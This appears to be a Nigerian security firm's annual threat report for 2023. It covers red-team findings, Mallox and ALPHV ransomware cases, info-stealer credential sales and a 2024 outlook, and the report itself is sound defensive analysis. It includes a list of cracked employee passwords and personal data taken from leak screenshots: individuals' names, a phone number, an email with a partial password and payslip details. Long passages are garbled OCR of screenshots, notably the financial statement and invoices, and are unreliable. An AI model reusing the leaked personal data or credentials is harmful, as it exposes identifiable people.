

consist of findings from each quarter of 2023 with insight into major incidents as observed by our team during incident response, and threat intel Ops as well as outline of cyber outlook for 2024

www.cyberplural.com

hello@cyberplural.com



Executive summary

At CyberPlural where we facilitate practices and teams that are devoted to preventing, detecting, assessing, monitoring, and responding to cybersecurity threats and incidents. We are proud and excited to present to you the second edition of our annual report.

The CyberPlural Annual Cybersecurity Report 2023 offers a comprehensive overview of the cybersecurity landscape, focusing on the trends, incidents, and insights observed by the CyberPlural team throughout 2023. As well as what we project to see in 2024

The report explores the key events that occurred in each quarter of the year 2023, while also elaborating on some noteworthy incidents and trends.

Some of the noteworthy incidents and trends covered range from critical vulnerabilities security uncovered through Red Team Operations to focusing on Mallox's operations in Nigeria. It also addresses the impact of ALPHV's targeted operations in Nigeria, the growing threat of info stealer malware, vulnerabilities in routers and SNMP exploitation, and the ongoing threat to Microsoft Exchange servers. Additionally, highlights it phishing threats targeting unsuspecting users in Nigeria, Ghana, and Kenya, and importance emphasizes the of mitigating security risks in FinTech and Utility Apps. Furthermore, it addresses the need for uncovering data leakage and vulnerabilities as seen across various sector in 2023.

Every significant incident presents valuable lessons that we can use to equip ourselves as individuals, businesses, and government entities as we move forward in 2024. The year 2024 is projected to see a rise in the development of cryptocurrencyrelated platforms, making them vulnerable cyber attacks and to fraudulent schemes. Financial entities, including traditional and fintech organizations, should prepare for continued cyberattacks on their online and on-premises infrastructure.

Data collection activities targeting online users are expected to persist, with threat actors impersonating government agencies in Africa to collect Personally Identifiable Information (PII). Additionally, an increase in networkwide ransomware incidents targeting businesses, NGOs, and governmentrelated entities in Africa is anticipated.

The data protection and privacy landscape in Africa is set to advance with the implementation of the continental convention (Malabo) and the enactment of the data protection act into law in Nigeria. This will lead to improved enforcement of data protection measures.

Furthermore, cyber threat actors are expected to increasingly utilize AI to automate and enhance the accuracy of cyber attacks, resulting in a rapid evolution of the threat landscape. Cyber defenders are also expected to leverage AI in defense as the integration of AI into security technology continues to progress.

Due to these anticipated challenges in 2024, organizations are encouraged to seek the services of CyberPlural MSSP to ensure resilience across their cyber posture.

We hope you do enjoy the rest of our findings by going through the report.

Let us start with the last quarter of 2023

2023 | Q4 at a glance



The Israel-Hamas conflict has extended into cyberspace, with threat actors, as well as other hacktivist groups, carrying out multiple operations. DDoS and defacement targeting public/government entities, academia, and supply chain.



The listing of a financial institution compromised by Meow Ransomware on a dark web leak site marks the first instance of this group's activity in Nigeria that has become public. This resulted in the leakage of some Active Directory information



In the fourth quarter, Mallox Ransomware group significantly increased their activity in Nigeria. Multiple instances of successful compromises were observed, resulting in the ransom of victim networks and critical data.

Throughout the year, data collection activities targeting online users in Africa have been widespread, leveraging government initiatives such as palliatives and others. Our CTI team has uncovered and reported an instance impersonating platform managing identity to target online users in Q4.

In a series of red team engagements in 2023, our red team uncovered critical security vulnerabilities across various sectors, setting the stage for a pivotal outlook on cybersecurity in 2024.

Red Team Operations Uncover Critical Security Vulnerabilities



In a series of red team engagements in 2023, our red team uncovered critical security vulnerabilities across various sectors, setting the stage for a pivotal outlook on cybersecurity in 2024. The findings, spanning financial institutions, federal agencies, and corporate entities have shed light on the pressing need for robust security measures to safeguard digital assets and fortify defenses against potential cyber threats.

The red team ops engagement in one of the use cases revealed a concerning array of vulnerabilities, including obsolete applications, unsupported operating systems, and weak passwords. These revelations underscore the urgency of implementing updates, patches, and security measures to mitigate vulnerabilities and protect against potential exploits.

Similarly, the red team engagement at another use case exposed critical security vulnerabilities such as default account usage, plaintext storage of credentials, and insecure sharing of sensitive documents. These findings have underscored the importance of securing internet-facing applications and implementing robust password management practices.

The Mitre Att&ck techniques employed in these operations have highlighted the potential avenues for initial access, privilege escalation, and data exfiltration. Recommendations stemming from these findings emphasize the need for robust security controls to prevent unauthorized access and data breaches in internet-facing applications, as well as the enforcement of strong password policies and multi-factor authentication.

As we look ahead to 2024, these red team operations serve as a stark reminder of the ever-evolving threat landscape and the critical importance of proactive cybersecurity measures. The insights gleaned from these engagements will undoubtedly shape the strategic focus of organizations as they strive to fortify their defenses and protect against emerging cyber threats in the year ahead.

Use Case: I

Default Account Usage:

- Mitre Att&ck Techniques: Default Accounts (T1078), Brute Force (T1110)
- Description: Hundreds of users accounts operating on default credentials are vulnerable to brute force attacks, leading to unauthorized data disclosure or manipulation.

Misuse of Official Email:

- Mitre Att&ck Techniques: Phishing (T1566), Account Discovery (T1087)
- Description: Misuse of official email for personal business creates opportunities for attackers to exploit personal accounts and gain unauthorized access to sensitive information.

Plaintext Storage of Credentials:

- Mitre Att&ck Techniques: Credential Dumping (T1003)
- Description: Storage of credentials in plaintext allows attackers to easily obtain sensitive login information, potentially compromising additional systems.

Insecure Sharing of Sensitive Documents:

- *Mitre Att&ck Techniques*: Data from Local System (T1005), Exfiltration Over Alternative Protocol (T1048)
- *Description*: Sharing sensitive documents over email without encryption compromises their confidentiality, leading to potential data exfiltration.

Directory Listing Misconfigurations:

- Mitre Att&ck Techniques: File and Directory Discovery (T1083), Data from Local System (T1005)
- Description: Misconfigurations leading to directory listing expose sensitive information, allowing attackers to easily access and exploit sensitive files or directories.

Phishing Campaign and Internal Looting:

- Mitre Att&ck Techniques: Phishing (T1566), Account Discovery (T1087)
- Description: Successful phishing campaigns and internal looting grant administrative access, highlighting the importance of robust security measures to prevent unauthorized access and manipulation of user accounts

Outdated Technology and Insecure Communication:

- Mitre Att&ck Techniques: Exploitation for Privilege Escalation (T1068), Exploitation of Remote Services (T1210)
- *Description*: Use of outdated technology facilitates insecure communication, increasing the risk of unauthorized access and data interception by attackers.

Default Credentials and IDOR, SQL Injection Vulnerabilities:

- Mitre Att&ck Techniques: Default Accounts (T1078), Exploitation for Privilege Escalation (T1068)
- *Description:* Use of default credentials and IDOR vulnerability pose significant security risks, potentially leading to the disclosure of personally identifiable information (PII)

Another alarming issue highlighted in our 2022 report and captured again is the widespread use of unsupported operating systems such as Windows XP, 7, Server 2008, 2003, and 2012 within the internal network.

<pre>55 56.json grep operatingsystem **eventingsystem: **mindows Server 2003 Service Pack 2*, **eventingsystem: **mindows Server 2003 Service Pack 2*, **eventingsystem: **mindows Server 2003 Service Pack 2*, **eventingsystem: **mindows 7 Ultimate Service Pack 1*, **eventingsystem: **mindows Server 2003 Service Pack 1*, **eventingsystem: **mindows 7 Ultimate Serv</pre>	trings infinitesete mesta operatingsystem : Windows operatingsystem : Windows	Ell gree operativ Server 2008 R2 Enterpr Server 2008 R2 Enterpr Server 2008 R2 Enterpr Server 2008 R2 Enterpr Server 2008 R2 Enterpr RP Professional Service Pac AP Professional Service RP Professional Service RP Professional Servic RP Professional Servic P Enterprise Services 7 Utilante*, RP Professional Service	npyystem rise Service Pack 1° rise Service Pack 1° cc Pack 2°, ce Pack 2°, pack 1°, ce Pack 2°, pack 1°, ce Pack 2°, ce Pack 2		
"operatingsystem": "Windows 7 Ultimate Service Pack 1",	Windows Server Version	End of Life Date	Windows V	ersion En	nd of Life Date
"operatingsystem: "Windows 7 Ultimate Service Pack 1", "operatingsystem": "Windows 7 Ultimate Service Pack 1",	Windows Server 2003	July 14, 2015	Windows XF	P Ap	pril 8, 2014
"operatingsystem": "Windows Server 2008 R2 Datacenter Service Pack 1",	Windows Server 2008	January 14, 2020	Windows Vi	sta Ap	pril 11, 2017
Unsupported OS	Windows Server 2008 R2	January 14, 2020	Windows 7	Ja	nuary 14, 2020
	Windows Server 2012	October 10, 2023	Windows 8.	1 Ja	nuary 10, 2023
	Windows Server 2012 R2	October 10, 2023	Windows 10	Home Or	ctober 14, 2025

End of Life Information for each version.

Many of these systems are no longer supported (*reached end of life*) by their vendor, which means they do not receive patches and are riddled with vulnerabilities. This creates an open invitation for attackers to exploit these systems to achieve their objectives. It is imperative for organizations to eliminate these outdated operating systems in order to mitigate this significant security risk moving forward.

Use Case: II

Critical Vulnerability on Servers and Workstations:

- Mitre Att&ck Techniques: Exploitation for Privilege Escalation (T1068), Account Discovery (T1087)
- Description: Critical vulnerability on servers and workstations represents a significant threat to network security, allowing unauthorized access to key applications and compromising the entire organization's network

Weak Passwords:

- *Mitre Att&ck Techniques*: Credential Dumping (T1003), Valid Accounts (T1078)
- Description: Tens of weak passwords, including an Administrator account got cracked, highlighting the lack of a strong password policy and the need for multi-factor authentication for accounts with administrative privileges.

The problem of weak passwords set by employees has become increasingly apparent. Despite conducting training and awareness sessions for employees on the importance of not setting weak passwords, without a control or policy in place to enforce this, employees continue to set weak passwords.

isabella123 password@123 sani274 samson123 test1234 princess2010 portal123 precious jerusalem r2d2c3po ben106_00000 catherine 12345 7777 david456 cumar oreoluwa tricia76 peter123 123456 24680 michelle semilore october4 architect 224466 idavid 12345678 hassanah iames001 55555 11111 treasure lookme allahu99 henry123 232323 0000000 cobaro mohammed 180968 nathan14 _aaisa hassan123 amina123 jane1111

Weak passwords, easy to crack.

It is clear that without a mechanism to enforce strong password practices, employees will persist in choosing weak passwords. Therefore, it is crucial for employees to actively eliminate weak passwords, as a single weak link is exactly what attackers are looking for.

Use Case: III

Domain Administrator Privileges:

- Mitre Att&ck Techniques: Account Discovery (T1087), Valid Accounts (T1078)
- Description: Discovery of tens of users with domain administrator privileges highlights the risk of unauthorized account discovery and exploitation of valid accounts.

Data Breach and Exfiltration:

- Mitre Att&ck Techniques: Exfiltration Over Alternative Protocol (T1048), Data from Local System (T1005)
- Description: Breach of sensitive and businessrelated files through SMB access raises concerns about potential data exfiltration using alternative protocols and local system data access.

In numerous instances, we discovered various misconfigurations surrounding the Domain controllers, particularly the lack of adequate logging. A concerning number of users possess administrative privileges, deviating from best practices, and the firewall on the Domain Controller is disabled. Additionally, some Domain Controllers lack antivirus protection.

We strongly recommend proactive monitoring across all hosts and the network to ensure comprehensive visibility. These misconfigurations and the absence of monitoring have contributed to the undetected activities of the red team operations, resulting in data exfiltration and the establishment of complete network takeover.



Tens of Users are Domain Admin

Mallox's Operations in Nigeria



The Mallox ransomware group, known for its sophisticated and aggressive tactics, has been a significant player in the realm of ransomware-as-a-service (RaaS). With a history of targeting organizations across various industries, Mallox has gained notoriety for its ability to infiltrate and encrypt critical servers, holding organizations' data hostage in exchange for ransom payments.

The Growing Threat of Ransomware: A Case Study of Mallox's Operations in Nigeria

resh Page						
tion	PRICE: \$30000 / 0.79064803 BTC AMOUNT PAID: \$0					
2BE62	LAST TRANSACTION: N/A					
Unpublished	Your BTC address for payment					
00	3E/dueHND86ceFzmMien1PjqxLNStW11t/					
QS						
t you? 🗸 🗸	Chat	We communicate				
all files after payment? 🗸						
usually online? I can't 🖕 e from you?	≓ Reply hiervos 22 days ago ♥					
k should I make the 🗸 🗸	price:\$5000					
ow that it was I who 🗸	≓ Reply					

The group's operations have been characterized by a methodical approach, often exploiting vulnerabilities in internet-facing systems as the initial point of entry. Once inside the network, they deploy their ransomware, effectively locking down access to essential data and systems.

Their demands for payment are accompanied by the provision of a unique key for initiating private negotiations, as well as a dedicated crypto wallet for victims to make their ransom payments. Additionally, the group allows victims to send a sample file for test decryption, providing a glimpse of the potential restoration of their data upon payment. Mallox's negotiation tactics are marked by an initial prohibition on negotiation, followed by a reduction in the ransom amount as negotiations progress. This approach has been observed in instances where the original ransom demand significantly was slashed after negotiations commenced, indicating a willingness to compromise on the ransom amount.

The group's recent activities in Nigeria, targeting both a construction firm and a federal commission responsible for industry regulation, reflect an expansion of their operations into new territories and sectors. The impact of their attacks has been substantial, resulting in the encryption of critical and posing significant data challenges for affected organizations.

Mallox - 1

The Mallox ransomware group has recently intensified its operations by targeting critical servers at organizations in Nigeria. In October, they targeted a prominent construction firm, and in December, they infiltrated the server of a federal commission responsible for regulating a specific industry.

Chat





BTC Wallet Information -

This industry whose major player had previously been affected by an incident caused by the ALPHV group earlier in the year. The ransomware attack has resulted in the encryption of all data on the affected server, and the group is now demanding payment for decryption

Initially, the group prohibits negotiation but eventually lowers the ransom amount. For example, a \$30,000 prize was reduced to \$5,000 in one instance. It is believed that the group exploited vulnerabilities in the internet-facing Outlook Web Access (OWA) as the initial point of entry and deployed the ransomware after gaining control of the network.

Indicator of Compromise

.mallab extension BTC wallet address: 32RnHG6Bqe7Ut7zyXtnD163VM1xLLzhA gW

PRICE: \$30000 / 0.79064803 BTC AMOUNT PAID: \$0 LAST TRANSACTION: N/A
Your BTC address for payment
8 3E7dueHND86ceFzmMien1PjqxLNStWiTt7
Chat
≓ Reply
hiervos 22 days ago 🛩
price:\$5000
≓ Reply
rate Chat Deduction of Price to One sixth

Private Chat - Reduction of Price to One-sixth

crypted and can not be used d your confidential data and are ready to publish it on our blog les in work condition you need decryption tool ctions to decrypt all your data

e or restore files yourself, this will break them site you can decrypt one file for free. Free test decryption allowed on

1 tool: 11 TOR browser by this link: https://www.torproject.org/download/ your country and you can't access to the link then we are you often d open the site: 10 in the input field. your relate key: 1 ent information and we can make free test decryption nere will receive a tool for decrypting files, and we will delete the data

the little ingel press laad. onion

are unable to contact us through the site, then you can email us: mallox@onionmail for a response via mail can be several days. Do not use it if you have not tried

Ransom Note - Mallox

How interesting was the third quarter of 2023

2023 | Q3 at a glance



The issue of unreported cyber incidents continues into Q3 of 2023 in Nigeria. If organizations and businesses continue to conceal cyber incidents, it could undermine the digital trust that society relies on and provide more opportunities for threat actors to exploit vulnerabilities.



Info stealer malware is a specific type of malware that is created to extract sensitive information from compromised systems. Several SOC teams have reported activities relating to this class of malware targeting organizations in Nigeria. Additionally, there have been reports on online forums of credentials being sold on the dark web.



Anonymous Sudan, a threat group noted for causing havoc by launching DDoS attacks on vital systems and disrupting digital services has been found to continue their campaign. This was the case in Nigeria and Kenya, where the hacktivists targeted key infrastructure recently.



Threat Intelligence Ops identified and reported misconfigurations that have caused sensitive data leaks on critical systems and facilities in Nigeria. Our reports have played a crucial role in preventing these leaks and addressing the vulnerabilities, thereby contributing to a safer cyberspace.

The ALPHV ransomware group continues to pose a significant threat to organizations in Nigeria. It is important for businesses to take proactive steps to protect themselves.

The Impact of ALPHV's Targeted Operations in Nigeria's Critical Sectors

		5. That we maintain a cooperate account with dichason limited
		with the aleve ands.
		t. That this cours affidavit covers supplay of any of the
Tax Invoice from 15/04/2023 till 14/0	12023	Aglging in the Ulshamon account.
	Naira	a mus course transaction convert include takes full responsibility
pe / Minimum commitment	0.00	of all sums.
		6. That we make this seleen declaration consciontionaly
	2,632,95	ballaving the syms to be true and corrort by virtue of the
and a second	2.5.00	provision of the Cuthe Law of Lagos Diste 2004.
	2,884.59	
	216.34	INCER TO AS THE MICH OTHER. THE PARTY
is period	3,109,83	sutterer in Lane with
		are 15 mm
reard	-215.89	EI of construction and the
\$2023	-3,200.00	110/06 74
		the state reputer of LAGOS
1	-354.96	100 - 20 - 10 - 10 - 10 - 10 - 10 - 10 -
w before: 14/96/2023 - Thank You		Construction abacteria (1) (1)
		Offic Harning
		A STATE OF THE PARTY OF THE PAR
	86.00.00.100063	
ecount No : 4.14	and the second sec	
ecount No : 4.14 ine Number :	08077268651	
ecount No : 4.14 ine Number : voice No :	08077268651 149578300	
ecount No : 4.14 ine Number : voice No : voice Date :	08077268651 149578300 1505/2023	
ecount No : 4.14 ine Number : voice Date	68077288651 140578300 15/05/2023	
ecount No : 4.14 ine Number : voice No : voice Date :	68077286851 149578300 15/05/2023	LINE STORE SECOND
iccount No : 4,14 ine Number : voice No : voice Date :	68077258651 149578300 15/05/2023	CIRCLES DISCUSSION OF STORES
account No : 4,14 ine Number : voice No : voice Date :	68077288651 149578300 15/05/2023	LANCE LANCE
scount No : 4,14 ine Number : voice No : voice Date :	68077288851 149578300 15/05/2023	

The group's history of targeting key players in Nigeria's telecommunications, insurance, and betting sectors has raised concerns about the growing threat of the group's activities in the country.

In July 2023, a leading Nigerian telecommunications company was targeted in a ransomware attack orchestrated by the notorious cybercriminal group known as ALPHV. This group is known for its sophisticated tactics, which involve encrypting and stealing data from its victims. The hacker behind the attack demanded a hefty sum of \$2.5 million and claimed to have maintained undetected control over the company's network for 12 days according to a user on X.

Prior to this, in April 2023, a prominent Nigerian insurance company faced an attempted cyberattack by the ALPHV ransomware group. The attack targeted the company's sensitive data, underscoring the group's relentless pursuit of financial gain through ransomware operations. Furthermore, sample data from the attack was released to the dark web, highlighting the group's willingness to leverage stolen information for illicit purposes.

In April 2022, the ALPHV ransomware group carried out a ransomware attack on a popular betting platform, causing significant disruption that lasted for hours before the platform could be restored for its users. This incident highlighted the group's targeted and focused operations within Nigeria, underscoring their persistent and impactful presence in the country's cyber landscape.

The group's history of targeting key players in Nigeria's telecommunications, insurance, and betting sectors has raised concerns about the growing threat of the group's activities in the country.

These incidents serve as a stark reminder of the need for heightened cybersecurity measures and proactive strategies to mitigate the impact of ransomware attacks on critical infrastructure and sensitive data.

- https://x.com/rbiakpara/status/1680546604443488256 https://punchng.com/leadway-stops-hackers-attempts-to-breach-network/
- https://nairametrics.com/2022/04/07/bet9jas-website-allegedly-hacked-by-russian-blackcat-group/

In the majority of these instances, sample data belonging to the victim organizations were released to the dark web. This data primarily consisted of personal information of customers as well as other internal data, highlighting the severity of the breach and the potential impact on individuals and the affected organizations.



Driving Licence, Identity Card, NIN Sync Data, and Invoices data leaked to the darkweb.

CyberPlural Annual Cybersecurity Report 2023



Passports as used by customers as a means of identity validations for enabling services offered.

							302	PROSECTED		3853					BUDGET				
Sensy President Stationer (Composite)	JOINT DISCOUT	PROJECTED 19811 ACTUR	BUDGET	2423 Buckett	A.	1154	R and	PRO ACTUAL	Alasta	N DOD	Californi		Page 1	PHT 10	UTTE ADM THE	Result of a	Game	FURTH	GROWTH
						Case Depaire		45 104 105	1005	15,000,705			N/966	4/3/06	5			W 000	W000
						(Increase) / Decrease in Unexpired Re-	(1.101.547)	-3,521,063	149%	-1,299,745	-43%	Feancial	81,588,000	44,715,386	175	Gross Written Prenty	<u> </u>	105, 360, 357	100
					~	Corre Domine Local	100000	47.347.440	100	54 556 999	141	Performance	(85,761,672)	-410.0215.5800	1875	Claims & Underlanting	E.p	-96,182,879	125
Centeral Russieres (Non Special Risks)	2,700,000	10,107,712	785	10.011.000	245	Formium Coded to Reinsupers	(2.225.192)	-1,350,950	42%	-1.565.116	34%		-18778-188	-20,000,355	1115	Underwriting Profiti	Loss)	-12,768,164	-34%
An Business (Individual Life & Group Life)	14,688,000	18,818,377	138%	20.412.329	34%	Not Provide France	ALC: NO. NO.	41 417 445	100.75	53,011,003	340		-12952319	-13,256,868	105	Dalf cost & other Ope	raingLa	-16 565 271	m
As Business (Annuly)	50,000,000	27.028.080	975	32,434,415	105	Port Promoun Lanned	and an	41,012,040	in s	so,an, ao	25		14,112,841	8,731,548	88%	Profit bafors tax		15,621,815	67%
the protocing representation		- MARINA			10.5	Commission Income (Reinsummer)	624,830	507,430	10%	344,326	-30%				UTLICATIO				×
At Business - Deposit Administration	15,580,474	10,100,004	665	12,379,837	325	Net Under milling freemen	10,040,000	41,325,435	10.2	33,578,309	547		PH#12	FYF22		Accust at a	(mance	FY8735	OROWING
Fotal Including Deposit Admint	101,140,476	94,450,960	865	117,748,287	10	Com.										1			
						Cross Insurance Claims and loss							44.030.000	45.884.058	1075	Gross Written Premiu		55,886,747	275
the Research France Property of	2023	PROJECTED	800087	2823		adjusters experies	(8.431,827)	4,742,507	113%	13,244,366	365	Encoded	41,290,307	41.529.455	1915.	Net premium income		53.376.200	m
and a second and the design of the second	BUDGET	SECTION.	UTILIZATION	BUDGET	Growth	Hithdrawal - Annulty	OUNCES!	-33,860,379	875	-37,239,614	20%	Performance					100		
	-					Claims Economics & loss adjusters	544 212	876.634	1305	1,210,358	100		307/94.502	41,257,054	105	Carro & Crosswerry	104	STEEL BOOM	
						Sublition -	(Low), while	1056.299	815		40045		2010.20	20,70,400	10	Coderanting Protect	(and	38,85,235	- 0-
Nel Premium Earned (Sill Non-Special Roke)	14,546,605	14,907,834	1825	18,830,018	28%	Net Insurance Benefits & Claims to	A COLOR OF THE R.						41.750.750		-	interest a training		10.545.000	1
					-	Policyholders	181,901,4975	-48,705,749	175	-84,138,527	195		1000.000	7 890 410	1005	Charl coar & other Cas	and co.	11,000,010	
Net Prensum Earned (DB - Special Ress (Prig)	4,902,705	6337,500	ma	7.677.401	In .			1.000	-		-	_	1000.000	1,498,423	1993	Priori Dantora Gal		10,410,710	
Not Premum Earned (Annulty)	30,900,900	27,038,680	80	32,454,416	100	Destroyed / Destroyed in Life Funds	414,006,6000	5.341.547	100	11949.347	1000		-	-	UTRIZATE		-	-	
Read Press, and Read Annually	10.036.301	13:545 305	105	20.567.467	- 12	Net Fair Value Gains on Financial	1111111111	2.000,044	-		-100.0		PTER AL	100.00	-	100.00	ALC: NO	ACCESS OF	A DECK
		TOTAL T		- Concern	100	mosts at lair value (Annuity)		-06,155,967	15		-100%		41,000,000		-		- 1		
and the second			-	1.000		Underwriting Expenses	COMPLETED	-3,879,808	150%	4,306,449	10%	-	25,758,139	23,233,798	NT5	Nel premium income	2 I	29.041.807	1
Favenue Breakdown Into Classes	BUDGET	2801 ACTUAL	SUTIL MATION	BUDGET	Growth	Underweiting Profit / IL and	08335788	-21,757,599	825	-24,381,797	-0-	Performance							
						Annual ment for some							217-9996-551	-22.536.534	1045	Claims & Underwriting	10.0	-22.505.014	4 75
Support Distances Man Descard Dates	-					investment income	MACCORD.	34,432,348	44%	36,299,162	10%		1,758,588	887,764	175	Underwriting Prufer	Long)	8,556,597	1 1275
Max	4 200 000	TULAN	118%	4,515,525	185	Capital Gain/Loss		2,367,146	176	450,000	-79%		4,514,714	7,634,508	104%	Investment & other In	Jone Los	4,540,267	1 100
fin	5,750,000	6337238	110%	a sur jur	14%	Net Fair Value Gains on Financial and	and the	-1,496,330	0%	0	-508%	_	7,123,454	2,845,522	105	Profit before tax	and the	4,748,107	905
Maria Access	1290.00	3342.00	045	4104515	100	Other Operating Income	210,029	-36 750	301.2	255,809	27%								
ford	20.00	140,818	825	106,427	45		40.510.764	34.245.443	975	39,825,993	105							N	
ingheering	1,000,000	1,142,807	445	1,543.98	12	the second se						F1822	PHP21	ACHEVED			PY#20	GROWTH	
Cone.	21,708,808	35,275,586	116%	36,831,968	18%	Investment Contract Labition	11,540,550	-1.965.861	1075	-1.785.329	100	36.6[1796	40.020.310	100%	Cash and C	anh Eigunvalent	41.346.71	15	
Contract Research Contract Prints	-				_	Employee Benefits expenses	(2,8%5,956)	2,090,508	84%	-3,191,671	52%	300,710,160	351,860,752	80%	Financial as	inats	258,188,834	15	
Construction .	11 10 10 10	424,242	- 105	10 10 10 10 10	- 100-	Other Operating Expenses	12.521,6899	-2,442,651	975	-3,063,515	24%	26,265,251	24.910.005	Mis	Fixed & Inu	estment Asset	28,224,100	105	
Residue (Hull Labelly & refueing)	4.473.174	4347396	415	1286.98	345	Impairment losses - Bad Debt Provid	-	-308,368	0%	0	-100%	8.606.433	17,017,421	1965	Other Asset		18,967,101	17%	
Marina (hargy	10.400	968,262	175	867,129	100	Total Mgl Expenses	COLUMN STOCK	4,78,80	10.7	-8,040,515	10	561,263,670	560,7w3,454	40%	Fotal assault	an Funda	541,407 AU	95	
						Profit (Loud Before Taxation	7,009,484	7,498,427	1000	11,463,719	475	44,176,483	36,910,245	84%	maniment.	contract liabilities	42,148,862	14%	
An Assess	1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	100.04	445	1 100 100	100						-	306,858,378	368, 197, 257	80%	meaning of	ortract labilities	302,666,303	15	
Doug UN	8,000,000	14,294,401	1785	17,45317	100	Major Performance Batton Runal on						20 118 329	21.435.581	1975	Other Liable	flam.	22.325.464	15	
Papear Adres (Indicated)	and the	111120	15	10.076.000	205	Come Premium Laterali	100		1000	1.00	1000	\$61,362,571	\$62,743,638	91%	Fotal Liabi	ries.	541.40 ⁷ 50 ⁷	15	
Annualy Second	30.000.000	27,134,640	H'S	32,434,416	345	formation Expense Rates		5	11.2	~	-10%	-	-	3			-	No.	
Tatal.	49271	56,548,652	45	88,366,876	215	Underwriting Expenses Ratio	10%	85	875	47%	-7%	100.00	11112	ADMENTED			******	CONCERNING IN	
in one has been been a barrie to						China Batta Nice	- 1000 C	ALC: NOTE: N	-	1000			N 999			and the second second	N 999		
Central Business	6.305.505	4.404.000	845	5.400.404	215						-11.8	15,880,715	20.178.662	1005	Lash and U	and Education	27,140,180	1.5	
As Business (Individual Life & Group Life)	1,007,001	2194,000	158%	2.574.991	175	Teshnikal Combine Ratio	DET N.	102%	10.2	LDP'S	-90%	337,217,802	280,480,425	H S	raria a	inerts.	306.303.721	1	
As Business (Annuby)	10.016.808	20,212,000	15	10,447,765	10	Mat Expenses	17%	10%	10%	125	175	0.000,739	800,014			- months	1.100.740	-	
As Drawnolders Funds	2,204,686	1.870.000	475	2,065,629				to the	-		-	5.011.000	10.043.009	1985	Court & res	estimate Asset	17,798,880	115	
Total	44,730,401	41,687,800	95	44,588,606	15	Camerial Combined Ratio	1000	107%	-	1875	-						3.0.04		
Politifiatore Tax (General Business Combined)	7,075,198	2048.12	10%	4,148,10	1075	Poste Margin (Grow)	1945	045	1115	21%	145	377,875,387	334,812,009	85	Total asset		364,775,889	15	
Profit Before Tax (Life Business)	7,039,454	7,690,421	1 1995	15,480,71	1 485							46,746,111	44,552,262	1995	Dasholds	ins Funds	\$4,252,209	22%	
												44,175,483	36,815,245	845	-	contract indultion	42,148,862	145	
												282,306,275	290.035.000	85	naurance o	ontract laborities.	264,825,896		
												5,785,428	3.516.561	100	Die Line	-	3,752,015	125	
												377,871,328	334,812,899	89%	Tutal Equit	A Liabilities	364,775,889	95	

Financial statement

The release of such sensitive information underscores the far-reaching consequences of ransomware attacks and the urgent need for enhanced data protection measures in the face of evolving cyber threats.

The Growing Threat of Info Stealer Malware

lagosstate.g ov.ng	NG	MAIL Micr osoft Corp oration • Private ser	99.00	seller52	cracked	View Proof	Buy	2022-07-09 13:09:20
lagosstate.g ov.ng	NG	MAIL Micr osoft Corp oration Private ser ver	99.00	seller85	cracked	View Proof	Buy	2022-01-25 20:31:38
gov88890.n g	NG	OWA WEB MAIL Micr osoft Corp oration • Private ser ver	99.00	seller52	cracked	View Proof	Buy	2022-06-26 21:22:28
limihospital. org	∎NG	Zimbra We bmail 😹 Fr eshly Crack ed 😹	35.00	seller52	cracked	View Proof	Buy	2022-01-27 12:47:09

In recent years, there has been a significant increase in cyber-attacks in Nigeria, affecting organizations of all sizes and industries. One particular type of malware, known as Info stealer malware, has become increasingly common in the country. The Info stealer malware is designed to steal sensitive information from infected systems, including login credentials, financial data, and personally identifiable information (PII). Once the data is stolen, it is sent back to the attacker's command and control (C&C) server.

Our CTI team has discovered stolen credentials from Nigeria on the dark web, as well as other activities related to Info stealer malware listed on various underground forums for sale. This highlights the growing threat posed by this malware in Nigeria.

The prevalence of Info stealer malware can be attributed to several factors. One factor is the lack of cybersecurity awareness among employees, who may not be fully aware of the risks associated with opening suspicious emails or clicking on links from unknown sources. This makes them more susceptible to phishing attacks, which are often used to distribute malware.

Machine IP: 197.210. Country: NG Malware Infection Date: 2023-08-04 09:05:44 Tag: Possible Customer URL: https: User: usman 195@gmail.com Password:

Machine IP: 102.89. Country: NG Malware Infection Date: 2023-08-04 08:50:03 Tag: Possible Customer URL: https: User: ADE Password Ayo****

Machine IP: 197 Country: NG Malware Infection Date: 2023-08-11 Tag: Possible Customer URL: User: Ogmail.com Password: sample of credential captured by Info stealer Malware

CyberPlural Annual Cybersecurity Report 2023

lagosstate.g ov.ng	∎∎NG	MAIL Micr osoft Corp oration 💌 Private ser ver	99.00	seller85	cracked	View Proof	Buy	2022-02-04 10:55:54	
lagosstate.g ov.ng	NG	OWA WEB MAIL Micr osoft Corp oration 💌 Private ser ver	99.00	seller62	cracked	View Proof	Buy	2022-06-03 02:32:29	
lagosstate.g ov.ng	∎∎NG	OWA WEB MAIL Micr osoft Corp oration • Private ser	99.00	seller52	cracked	← → C Qª Outlook We ⊕ New ma	⊜ mail.lage b App ail	P Search mail	/#path=/mail and people CONVERSATIONS BY DATE
lagosstate.g ov.ng	NG	MAIL Micr osoft Corp oration Private ser ver	99.00	seller85	cracked	 Favorites Inbox 48 Sent Items Otorunkemi Ba 	isira. Abdullahi	All Unread	d To me Flagged Plagosstate.gov.ng 22 Calendar Month for ABDUL Tue 25/01 Art, Miss BASIRAT OLORUNVEMI, This L.
gov88890.n g	NG	OWA WEB MAIL Micr osoft Corp oration Private ser ver	99.00	seller52	cracked	Inbox 48 Drafts Sent Items Deleted Item Junk E-Mail Notes	15	hr.payroll(Payslip for 12 Dear ABDULL/ LAST MONTH hr.payroll(Payslip for 12 Payslip for 12	AGO © lagosstate.gov.ng 2021 Calendar Month for ABDUI 17/07/2022 Hel, Miss BASIRAT OLORUNVEMI, This I © lagosstate.gov.ng 2021 Calendar Month for ABDUI 2021 Calendar Month for ABDUI 0007/2022 ALM More BASIRAT OLORUNALITIES (1)
limihospital. org	NG	Zimbra We bmail (a), Fr eshly Crack ed (a),	35.00	seller52	cracked	1		OLDER Ministry o THANK YOU I Dear ABDULL	A may be and technology the second se
gov9042.ng	∎∎NG	OWA WEB MAIL Micr osoft Corp oration 💌 Private ser ver	99.00	seller52	cracked	View Proof	Buy	Ministry o INVITATION T Dear ABDULL 2022-05-18 17:13:05	f Science and Technoloy o "DEVELOPING A 215T CENTUL" 08/12/2021 AHL, Miss BASIRAT OLORUNIKEMI The
gov66058.n g	NG	OWA WEB MAIL Micr osoft Corp oration Private ser ver	99.00	seller52	cracked	View Proof	Buy	2022-06-26 21:21:54	

sample of credential listed for sales - image crediit - X

Another contributing factor is the absence of strong and efficient cybersecurity measures in numerous Nigerian organizations. This results in many businesses lacking adequate and effective controls, leaving them more vulnerable to both targeted and non-targeted cyber-attacks.

https://x.com/DavidHundeyin/status/1549418961518972930/

